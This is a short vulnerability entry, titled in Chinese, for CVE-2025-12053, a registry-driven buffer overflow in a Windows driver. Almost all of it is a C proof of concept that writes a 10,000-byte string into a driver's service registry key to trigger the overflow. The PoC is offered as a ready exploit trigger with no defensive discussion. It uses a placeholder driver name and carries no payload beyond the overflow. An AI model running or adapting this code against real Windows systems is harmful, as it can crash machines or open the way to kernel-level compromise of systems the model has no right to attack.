CVE-2025-12053 Windows驱动程序RTL_QUERY_REGISTRY_DIRECT缓冲区溢出漏洞

// CVE-2025-12053 PoC - Registry Value Overflow // This PoC demonstrates how to trigger buffer overflow via registry manipulation #include <windows.h> #include <stdio.h> int main() { HKEY hKey; DWORD dwDisposition; // Create or open the target registry key const char* subKey = "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver"; const char* valueName = "TestValue"; // Create a very long string to overflow the buffer // In real scenario, this length would trigger overflow in driver char overflowData[10000]; memset(overflowData, 'A', sizeof(overflowData) - 1); overflowData[sizeof(overflowData) - 1] = '\0'; // Open or create the registry key if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) { // Set the malicious value that will trigger overflow RegSetValueExA(hKey, valueName, 0, REG_SZ, (const BYTE*)overflowData, strlen(overflowData) + 1); printf("[+] Malicious registry value set successfully\n"); printf("[+] Value length: %d bytes\n", strlen(overflowData)); printf("[+] Trigger the vulnerable driver to read this value\n"); RegCloseKey(hKey); } else { printf("[-] Failed to create registry key\n"); } return 0; }